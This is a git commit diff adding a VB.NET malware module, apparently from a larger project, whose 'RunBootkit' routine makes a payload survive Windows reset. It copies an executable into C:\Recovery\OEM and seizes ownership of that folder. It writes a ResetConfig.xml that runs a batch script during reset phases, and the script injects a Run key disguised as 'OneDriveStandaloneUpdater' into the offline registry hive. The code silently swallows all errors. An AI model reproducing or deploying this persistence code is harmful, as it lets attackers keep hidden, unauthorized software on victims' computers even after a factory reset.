initial commit

2026-08-27 11:22:34 -06:00
commit 5983c713b1
2676 changed files with 529190 additions and 0 deletions
@@ -0,0 +1,73 @@
+Imports System.IO
+
+Namespace ResetSurvival
+	Public Class ResetSurvival
+		Public Shared Sub RunBootkit(sourceFilePath As String)
+			Try
+				Dim flag As Boolean = Not File.Exists(sourceFilePath)
+				If flag Then
+					Throw New FileNotFoundException("Source file does not exist.", sourceFilePath)
+				End If
+				Dim text As String = Guid.NewGuid().ToString() + ".exe"
+				Dim text2 As String = Guid.NewGuid().ToString() + ".bat"
+				Dim text3 As String = GenerateResetConfig(text2)
+				Dim text4 As String = GeneratePersistenceBatch(text, text2)
+				CreateResetEnvironment(targetDirectory, text, text2, text3, text4, sourceFilePath)
+			Catch ex As Exception
+			End Try
+		End Sub
+		Private Shared Function GenerateResetConfig(batchName As String) As String
+			Return String.Concat(New String() {"<?xml version=""1.0"" encoding=""utf-8""?>" & vbCrLf & "<Reset>" & vbCrLf & "  <Run Phase=""BasicReset_AfterImageApply"">" & vbCrLf, String.Format("    <Path>{0}</Path>", batchName), vbCrLf & "    <Duration>1</Duration>" & vbCrLf & "  </Run>" & vbCrLf & "  <Run Phase=""FactoryReset_AfterImageApply"">" & vbCrLf, String.Format("    <Path>{0}</Path>", batchName), vbCrLf & "    <Duration>1</Duration>" & vbCrLf & "  </Run>" & vbCrLf & "</Reset>" & vbCrLf})
+		End Function
+		Private Shared Function GeneratePersistenceBatch(fileName As String, batchName As String) As String
+			Return String.Concat(New String() {"@echo off" & vbCrLf & "setlocal ENABLEEXTENSIONS" & vbCrLf & "set TARGET_PARENT=C:\Recovery" & vbCrLf & "set TARGET_FOLDER=C:\Recovery\OEM" & vbCrLf & "set SOFTWARE_HIVE_PATH=C:\Windows\System32\config\SOFTWARE" & vbCrLf & "takeown /f ""%TARGET_PARENT%"" /r /d y" & vbCrLf & "icacls ""%TARGET_PARENT%"" /grant *S-1-5-18:F /t /c" & vbCrLf & "takeown /f ""%TARGET_FOLDER%"" /r /d y" & vbCrLf & "icacls ""%TARGET_FOLDER%"" /grant *S-1-5-18:F /t /c" & vbCrLf & "reg load HKLM\TempHive ""%SOFTWARE_HIVE_PATH%""" & vbCrLf, String.Format("reg add ""HKLM\TempHive\Microsoft\Windows\CurrentVersion\Run"" /v ""OneDriveStandaloneUpdater"" /t REG_SZ /d ""\""%TARGET_FOLDER%\{0}\"""" /f", fileName), vbCrLf & "reg unload HKLM\TempHive" & vbCrLf, String.Format("start """" ""%TARGET_FOLDER%\{0}""", fileName), vbCrLf & "endlocal" & vbCrLf & "exit" & vbCrLf})
+		End Function
+		Private Shared Sub CreateResetEnvironment(targetDir As String, fileName As String, batchName As String, resetConfig As String, persistenceBatch As String, sourceFilePath As String)
+			Try
+				Dim flag As Boolean = Not Directory.Exists(targetDir)
+				If flag Then
+					Directory.CreateDirectory(targetDir)
+				End If
+				EnsureFolderOwnership(targetDir)
+				SafeFileDelete(Path.Combine(targetDir, "ResetConfig.xml"))
+				File.WriteAllText(Path.Combine(targetDir, "ResetConfig.xml"), resetConfig)
+				SafeFileDelete(Path.Combine(targetDir, batchName))
+				File.WriteAllText(Path.Combine(targetDir, batchName), persistenceBatch)
+				SafeFileDelete(Path.Combine(targetDir, fileName))
+				File.Copy(sourceFilePath, Path.Combine(targetDir, fileName))
+			Catch ex As Exception
+			End Try
+		End Sub
+		Private Shared Sub EnsureFolderOwnership(folderPath As String)
+			Try
+				Dim directoryName As String = Path.GetDirectoryName(folderPath)
+				RunCommand("takeown", String.Format("/f ""{0}"" /r /d y", directoryName))
+				RunCommand("icacls", String.Format("""{0}"" /grant *S-1-5-18:F /t /c", directoryName))
+				RunCommand("takeown", String.Format("/f ""{0}"" /r /d y", folderPath))
+				RunCommand("icacls", String.Format("""{0}"" /grant *S-1-5-18:F /t /c", folderPath))
+			Catch ex As Exception
+			End Try
+		End Sub
+		Private Shared Sub RunCommand(fileName As String, arguments As String)
+			Using process As Process = New Process()
+				process.StartInfo.FileName = fileName
+				process.StartInfo.Arguments = arguments
+				process.StartInfo.CreateNoWindow = True
+				process.StartInfo.UseShellExecute = False
+				process.Start()
+				process.WaitForExit()
+			End Using
+		End Sub
+		Private Shared Sub SafeFileDelete(filePath As String)
+			Try
+				Dim flag As Boolean = File.Exists(filePath)
+				If flag Then
+					File.Delete(filePath)
+				End If
+			Catch ex As Exception
+			End Try
+		End Sub
+
+		Private Shared targetDirectory As String = "C:\Recovery\OEM"
+	End Class
+End Namespace